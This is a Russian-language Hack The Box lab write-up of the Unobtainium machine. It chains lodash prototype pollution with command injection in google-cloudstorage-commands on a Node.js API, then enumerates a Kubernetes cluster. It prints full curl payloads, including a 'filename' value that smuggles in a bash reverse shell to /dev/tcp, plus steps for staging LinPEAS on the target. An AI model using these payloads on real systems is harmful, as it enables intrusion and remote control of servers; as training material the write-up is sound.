Категория > Новости > HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»

HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»


9-09-2021, 00:02. Автор: Barrington
Hack The Box. Мы про­ведем тес­тирова­ние кли­ент‑сер­верно­го при­ложе­ния, сер­верная часть которо­го написа­на на Node.js. А затем порабо­таем с оркес­тра­тором Kubernetes и через него зах­ватим флаг рута.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем адрес машины 10.10.10.235 в файл /etc/hosts как unobtainium.htb и запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та (про­дол­жение)
Ре­зуль­тат работы скрип­та (окон­чание)

По резуль­татам ска­ниро­вания име­ем восемь откры­тых пор­тов:



  • порт 22 — служ­ба SSH;

  • порт 80 — Apache httpd 2.4.41;

  • пор­ты 2379, 2380 — пока неяс­но, что это;

  • порт 8443 — тоже веб‑сер­вер;

  • пор­ты 10250, 10256 — Golang HTTP-Server;

  • порт 31337 — Node.js Express framework.


Нач­нем с осмотра сай­та.


HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»
Стар­товая стра­ница сай­та

Здесь нам дают толь­ко ска­чать какое‑то при­ложе­ние, что мы и дела­ем. Ска­чива­ем пакет .deb и раз­ворачи­ваем, что­бы не уста­нав­ливать на локаль­ный хост. Затем находим исполня­емый файл и запус­каем при­ложе­ние.


mkdir ubo ; cd mkdir
dpkg-deb -xvunobtainium_1.0.0_amd64.deb .
./opt/unobtainium
Рас­паков­ка пакета deb
Глав­ное окно при­ложе­ния

Изу­чив при­ложе­ние, понима­ем, что оно име­ет кли­ент‑сер­верную архи­тек­туру. Здесь есть фор­ма отправ­ки сооб­щений и воз­можность смот­реть спи­сок дел.


Спи­сок выг­лядит вот так:



  1. Create administrator zone.

  2. Update node JS API Server.

  3. Add Login functionality.

  4. Complete Get Messages feature.

  5. Complete ToDo feature.

  6. Implement Google Cloud Storage function.

  7. Improve security.


Спи­сок todo 

Анализ трафика


Итак, мы узна­ли, что исполь­зует­ся тех­нология Node.js, есть авто­риза­ция и раз­деление при­виле­гий (пункт 1). Пос­коль­ку при­ложе­ние — это кли­ент, можем пред­положить, что оно сту­чит­ся на порт 31337, обна­ружен­ный нами при ска­ниро­вании. Нам нуж­но про­верить это пред­положе­ние, а поможет нам в этом Wireshark. Откры­ваем его и запус­каем наше при­ложе­ние сно­ва.


Тра­фик при­ложе­ния в Wireshark

Ви­дим, что при­ложе­ние работа­ет по HTTP и дей­стви­тель­но под­клю­чает­ся к пор­ту 31337.


Ад­рес сер­верной час­ти при­ложе­ния

Поп­робу­ем вруч­ную исполь­зовать фун­кции при­ложе­ния, что­бы узнать, как имен­но они работа­ют. Зап­росим спи­сок дел и отпра­вим какое‑нибудь сооб­щение.


Зап­рос и ответ при обра­щении к todo
Зап­рос и ответ при отправ­ке сооб­щения

Мы можем ско­пиро­вать оба зап­роса и перенес­ти их в Burp Repeater для даль­нейше­го тес­тирова­ния. Так­же для удобс­тва мож­но пере­име­новать вклад­ки.


PUT / HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 79
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
Зап­росы в Burp Repeater

В обо­их зап­росах мест для тес­тирова­ния два: это параметр text при отправ­ке сооб­щения и filename при зап­росе фай­ла todo.txt. Попыт­ка зап­росить дру­гие фай­лы (нап­ример, /etc/passwd) ни к чему не при­вела, а если точ­нее, при­вела к зависа­нию при­ложе­ния. Но вот в слу­чае пус­того зап­роса мы получим ошиб­ку.


Ошиб­ка 

Точка входа


В тек­сте ошиб­ки видим нес­коль­ко рас­кры­тых путей к фай­лам. Так как исполь­зует­ся Node.js, зап­росим важ­ный файл index.js. Пос­коль­ку содер­жимое фай­ла нефор­матиро­ван­ное, для удобс­тва отпра­вим его в рас­ширение Burp Hackvector. Выбира­ем String → Replace и меня­ем пос­ледова­тель­нос­ти n, t и " на n, t и ".


Стар­товая стра­ница сай­та

Код на скрин­шот не помеща­ется, поэто­му при­веду его ниже.


var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users =[
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth){
return users.find((u) => u.name === auth.name && u.password === auth.password;
}
app.use(bodyParser.json());
app.get('/', (req, res) => { res.send(messages); });
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = { icon: '__', };
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');

В самом начале под­клю­чают­ся некото­рые биб­лиоте­ки. Так как это Node.js, мы можем зап­росить файл package.json, что­бы узнать вер­сии под­клю­чаемых биб­лиотек.


Со­дер­жимое фай­ла package.json

У нас есть сле­дующие зависи­мос­ти:



  • body-parser: 1.18.3;

  • express: 4.16.4;

  • lodash: 4.17.4;

  • google-cloudstorage-commands: 0.0.1;


Нам извес­тны тех­нологии, поэто­му сле­дует поис­кать готовые экс­пло­иты, что­бы понять, какие могут быть уяз­вимос­ти. Делать это луч­ше все­го при помощи Google.


По­иск уяз­вимос­тей с помощью Google
По­иск уяз­вимос­тей с помощью Google

Так мы находим две уяз­вимос­ти в модулях google-cloudstorage-commands и lodash. Пер­вая может дать нам OS Command injection, то есть, дру­гими сло­вами, уда­лен­ное выпол­нение команд. У нас уже есть уяз­вимый блок кода (ниже при­веде­ны скри­ны из PoC и кода index.js).


PoC экс­пло­ита google-cloudstorage-commands
Код обра­бот­чика метода post из фай­ла index.js

При переда­че парамет­ра filename методом POST на стра­ницу /upload мы можем выпол­нить коман­ду. Но перед этим сер­вер про­веря­ет, име­ет ли дан­ный поль­зователь свой­ство canUpload.


Объ­екты users

Этих свой­ств у нас нет, но можем их получить. В этом поможет кри­тичес­кая уяз­вимость в биб­лиоте­ке lodash. Мы можем исполь­зовать атри­бут constructor объ­екта, пред­став­ляюще­го поль­зовате­ля, что­бы акти­виро­вать дан­ные при­виле­гии. И у нас сно­ва есть уяз­вимый блок кода (ниже при­веде­ны скри­ны из PoC и кода index.js).


При­мер уяз­вимого кода lodash
Код обра­бот­чика метода put из фай­ла index.js

При переда­че парамет­ра text методом PUT на стра­ницу / мы смо­жем выпол­нить опас­ное сли­яние объ­ектов.


 

Точка опоры


Да­вай про­экс­плу­ати­руем это и акти­виру­ем у себя свой­ства canUpload и canDelete. Для это­го отпра­вим сле­дующее сооб­щение:


{
"text":{
"constructor":{
"prototype":{
"canDelete":true,
"canUpload":true
}
}
}
}
}
Ак­тивация при­виле­гий

По­лучи­ли ответ, что все выпол­нено без оши­бок. Теперь для про­вер­ки выпол­ним коман­ду id, как было опи­сано выше. Резуль­тат запишем в файл.


Вы­пол­нение коман­ды и запись резуль­тата в файл

Ос­талось про­честь содер­жимое фай­ла легитим­ным спо­собом.


Чте­ние фай­ла

Как мож­но уви­деть, коман­да успешно выпол­нена, а вся наша кон­цепция получи­ла под­твержде­ние. Мож­но выпол­нить реверс‑шелл.



Справка: реверс-шелл


Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».


В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.


apt install rlwrap

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.


rlwrap nc -lvp [port]


Что­бы быс­тро вос­ста­нав­ливать соеди­нение в слу­чае его потери, я написал малень­кий скрипт на Bash, содер­жащий две коман­ды. Это те же коман­ды, что пред­став­лены в зап­росах выше, толь­ко без чте­ния фай­ла.


#!/bin/bash
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://unobtainium.htb:31337/
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}'http://unobtainium.htb:31337/upload
Флаг поль­зовате­ля 

Продвижение


Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Для это­го я обыч­но исполь­зую скрип­ты PEASS.



Справка: скрипты PEASS для Linux


Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.


Что­бы вос­поль­зовать­ся скрип­том, его надо сна­чала заг­рузить на локаль­ный хост.


wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.


python3 -mhttp.server

А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.


wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod+x linpeas.sh
./linpeas.sh


Из вывода LinPEAS я узнал, что на хос­те работа­ет поль­зователь­ская задача в cron. Каж­дую минуту про­исхо­дит поиск и уда­ление фай­ла kubectl. А это озна­чает исполь­зование оркес­тра­тора Kubernetes.


За­дачи cron

Kubernetes поз­воля­ет управлять клас­тером кон­тей­неров Linux как еди­ной сис­темой. Kubernetes управля­ет кон­тей­нерами Docker, запус­кает их на боль­шом количес­тве хос­тов, а так­же обес­печива­ет сов­мес­тное раз­мещение и реп­ликацию боль­шого количес­тва кон­тей­неров. Что нам нуж­но понимать при работе с Kubernetes:



  • Node — это машина в клас­тере Kubernetes;

  • Pod — это груп­па кон­тей­неров с общи­ми раз­делами, запус­каемых как еди­ное целое;

  • Service — это абс­трак­ция, которая опре­деля­ет логичес­кий объ­еди­нен­ный набор pod и полити­ку дос­тупа к ним;

  • Volume — это дирек­тория (воз­можно, с дан­ными), которая дос­тупна в кон­тей­нере;

  • Label — это пара ключ/зна­чение, которые прик­репля­ются к объ­ектам, нап­ример подам, и могут быть исполь­зованы для соз­дания и выбора наборов объ­ектов.


Для работы с кубером нам нужен kubectl, а он уда­ляет­ся раз в минуту. Ска­чаем его на локаль­ную машину, а затем заг­рузим на уда­лен­ный хост таким же спо­собом, как и LinPEAS. Я заг­ружаю его под име­нем kctl.


Те­перь файл уда­лять­ся не будет, можем порабо­тать с Kubernetes. Бла­года­ря kubectl нам дос­тупна коман­да can-i, с помощью которой мы можем про­верить свои при­виле­гии на то или иное дей­ствие. В ответ будет воз­вра­щать­ся yes или no.


В клас­тере Kubernetes объ­екты secret пред­назна­чены для хра­нения кон­фиден­циаль­ной информа­ции, такой как пароли, токены OAuth или клю­чи SSH. И это пер­вое, что нуж­но про­верить.


kubectl auth can-i list secrets
Про­вер­ка сек­ретов

К сожале­нию, мы не можем прос­мотреть сек­реты. Сле­дующее, что нуж­но про­верить, — это прос­транс­тва имен (namespaces) — вир­туаль­ные клас­теры, работа­ющие в одном и том же физичес­ком клас­тере. Namespaces пре­дос­тавля­ют набор уни­каль­ных имен для ресур­сов. Давай узна­ем, можем ли мы получить их.


kubectl auth can-i list namespaces
Про­вер­ка прос­транств имен

Мы можем получить прос­транс­тва имен сле­дующей прос­той коман­дой.


kubectl get namespaces
По­луче­ние namespaces

По умол­чанию в клас­тере Kubernetes будет соз­дано прос­транс­тво имен default, в котором раз­меща­ются запус­каемые объ­екты. Прос­транс­тва kube-public и kube-system исполь­зуют­ся для запус­ка слу­жеб­ных объ­ектов Kubernetes, необ­ходимых для кор­рек­тной работы клас­тера. Но нам (судя по наз­ванию) боль­ше инте­рес­но прос­транс­тво имен dev и сис­темный kube-system. Но ни в пер­вом, ни во вто­ром прос­транс­тве дос­тупа к сек­ретам не име­ем.


kubectl auth can-i list secrets -n dev
kubectl auth can-i list secrets -nkube-system
Про­вер­ка сек­ретов

С сек­ретами не получи­лось, пос­мотрим на поды. Каж­дый pod сос­тоит из одно­го или нес­коль­ких кон­тей­неров, хра­нили­ща, отдель­ного IP-адре­са и опций, которые опре­деля­ют, как имен­но кон­тей­неры дол­жны запус­кать­ся. Так­же pod пред­став­ляет собой некий запущен­ный про­цесс в клас­тере Kubernetes. Но чаще все­го в подах исполь­зуют­ся кон­тей­неры Docker. Пос­мотрим, можем ли мы получить поды из прос­транс­тва dev, а пос­ле положи­тель­ного отве­та получим их спи­сок.


kubectl auth can-i list pods -n dev
kubectl get pods -n dev
По­луче­ние подов в прос­транс­тве dev

Да­вай получим опи­сание пода. Так как это целый кон­тей­нер, нам инте­рес­на воз­можность рас­простра­нения по сети, а из опи­сания смо­жем узнать адрес.


kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Опи­сание пода

Так, из опи­сания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес 172.17.0.8 и откры­тый порт 3000. Ока­залось, что там работа­ет такой же сер­вис, поэто­му мы можем получить дос­туп уже име­ющим­ся скрип­том. Запус­тим лис­тенер на дру­гом пор­те локаль­ного хос­та (я запус­тил на 5432) и выпол­ним бэк­коннект.


curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://172.17.0.8:3000/; echo
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}'http://172.17.0.8:3000/upload
Соз­данный реверс‑шелл

Перейти обратно к новости